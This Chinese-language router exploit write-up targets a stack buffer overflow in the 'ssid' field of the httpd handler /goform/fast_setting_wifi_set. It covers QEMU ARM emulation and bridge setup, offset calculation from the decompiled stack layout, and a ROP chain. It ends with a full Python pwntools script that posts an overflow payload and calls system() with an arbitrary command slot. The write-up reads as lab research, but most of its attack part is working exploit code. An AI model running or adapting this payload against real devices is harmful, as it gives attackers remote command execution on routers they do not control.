保护确认

1
2
3
4
5
Arch:       arm-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8000)

漏洞点确认

function_name:form_fast_setting_wifi_set

1
2
3
4
5
6
7
src = (char *)sub_2BA8C(a1, "ssid", &unk_E378C);
if ( *src )
{
strcpy(s, src);
strcpy(dest, src);
…………
}

访问方法

1
url:http://ip/goform/fast_setting_wifi_set

并根据一下发送确定数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//$("#waiting").removeClass("none");
//$("#wifi_setting").addClass("none");
//$("#btn_control").addClass("none");

var dateArry = /([\+\-]\d{2})(\d{2})/.exec((new Date()).toString());

var subObj = {
"ssid": $("#ssid").val(),
"wrlPassword": ($("#hideWrlPwd").prop("checked")) ? "" : wrlPwd,
"power": $("#power").val(),
"timeZone": getTimeZone(),
"loginPwd": ($("#hideLoginPwd").prop("checked")) ? "" : hex_md5(login_pwd)
}
data = objTostring(subObj);
$.getJSON("goform/getWanConnectStatus?" + Math.random(), function (obj) {
G.wanStatus = obj.connectStatus;
$.post("goform/fast_setting_wifi_set", data, handWifi);
})

其中payload数据为:

1
data = {"ssid": payload}

调试

搭网桥br0、tap0

1
2
3
4
5
6
7
8
# 创建网桥
sudo ip link add name br0 type bridge
# 将 eth9(自己选择设备) 加入网桥
sudo ip link set eth9 master br0
# 为网桥分配私有 IP 段(例如当前为 192.168.123.1/24)
sudo ip addr add 192.168.123.1/24 dev br0
# 启动网桥
sudo ip link set br0 up
1
2
3
4
5
6
# 创建 TAP 设备(例如 tap0)
sudo ip tuntap add name tap0 mode tap
# 启动 TAP 设备
sudo ip link set tap0 up
# 将 TAP 设备添加到网桥 br0(假设 br0 已存在且配置正确)
sudo ip link set tap0 master br0

下载镜像

1
2
3
wget https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress
wget https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress

创建镜像并放入调试(方法略)

1
2
3
4
5
6
7
8
sudo qemu-system-arm 
-M vexpress-a9
-kernel vmlinuz-3.2.0-4-vexpress
-initrd initrd.img-3.2.0-4-vexpress
-drive if=sd,file=debian_wheezy_armhf_standard.qcow2
-append "root=/dev/mmcblk0p2 console=ttyAMA0"
-net nic -net tap,ifname=tap0,script=no,downscript=no
-nographic -audio none

关闭aslr

1
echo 0 > /proc/sys/kernel/randomize_va_space

页面出现报错处理

是由于文件路径不同导致的

1
cp -rf ./webroot_ro/* ./webroot/

ida计算offset长度

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
_BYTE *v2; // r0
int v4[4]; // [sp+18h] [bp-264h] BYREF
char nptr[4]; // [sp+28h] [bp-254h] BYREF
char v6[4]; // [sp+2Ch] [bp-250h] BYREF
char v7[4]; // [sp+30h] [bp-24Ch] BYREF
char v8[4]; // [sp+34h] [bp-248h] BYREF
char v9[256]; // [sp+38h] [bp-244h] BYREF
char v10[72]; // [sp+138h] [bp-144h] BYREF
char v11[64]; // [sp+180h] [bp-FCh] BYREF
char dest[64]; // [sp+1C0h] [bp-BCh] BYREF
char s[64]; // [sp+200h] [bp-7Ch] BYREF
char v14[12]; // [sp+240h] [bp-3Ch] BYREF
int v15; // [sp+24Ch] [bp-30h] BYREF
_BYTE *v16; // [sp+250h] [bp-2Ch]
char *s2; // [sp+254h] [bp-28h]
char *s1; // [sp+258h] [bp-24h]
_BYTE *v19; // [sp+25Ch] [bp-20h]
char *src; // [sp+260h] [bp-1Ch]
int v21; // [sp+264h] [bp-18h]
int i; // [sp+268h] [bp-14h]
int v23; // [sp+26Ch] [bp-10h]

offset应为0x7c,注意,为什么这里不是从dest开始算呢?究其原因是代码存在两次strcpy,并且第一次是执行的strcpy(s,src),并且s在dest下方,所以使用s即可,当然使用dest也不错,但要考虑到这样栈会额外破坏64字节的问题。

其次,offset并不能直接替换为‘a’,因为代码中是这样的

1
2
strcpy(s, src);
strcpy(dest, src);

由于src位于s下方,第一次s溢出后,会导致src的地址修为‘0x61616161’,而第二次访问dest时会阻止访问非法地址,所以要将其修改为任意可以读取的地址。

确定system地址

image-20250522215537574

1
2
MOV R0,R3
BL system

想办法控制到R0,寻找符合条件的文件

1
ROPgadget --binary httpd --only r3|ret

构造payload

1
payload+= p32(pop_r3_pc) + p32(system) + p32(mov_r0_SP_ldr_r3) + cmd

执行pop_r3_pc时,将r3寄存器设置为r3,此时栈指针直接指向mov_r0_SP_ldr_r3

执行mov_r0_SP_ldr_r3,将sp(现在为cmd)放入r0,跳转到r3,也就是system

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests
from pwn import *

cmd=b"echo success_pwn_it"

'''
qemu-user
'''
#libc_base = 0xf659c000

'''
qemu-system
'''
libc_base = 0x76dab000
dosystemcmd = 0x76f930f0

system = libc_base + 0x5A270
readable_addr = libc_base + 0x64144
mov_r0_SP_ldr_r3 = libc_base + 0x40cb8
pop_r3_pc = libc_base + 0x18298

payload = b'a'*(0x60) + p32(readable_addr) + b'b'*(0x20-8)
payload+= p32(pop_r3_pc) + p32(system) + p32(mov_r0_SP_ldr_r3) + cmd


url = "http://192.168.117.1/goform/fast_setting_wifi_set"
cookie = {"Cookie":"password=12345"}
data = {"ssid": payload}
response = requests.post(url, cookies=cookie, data=data)
response = requests.post(url, cookies=cookie, data=data)
print(response.text)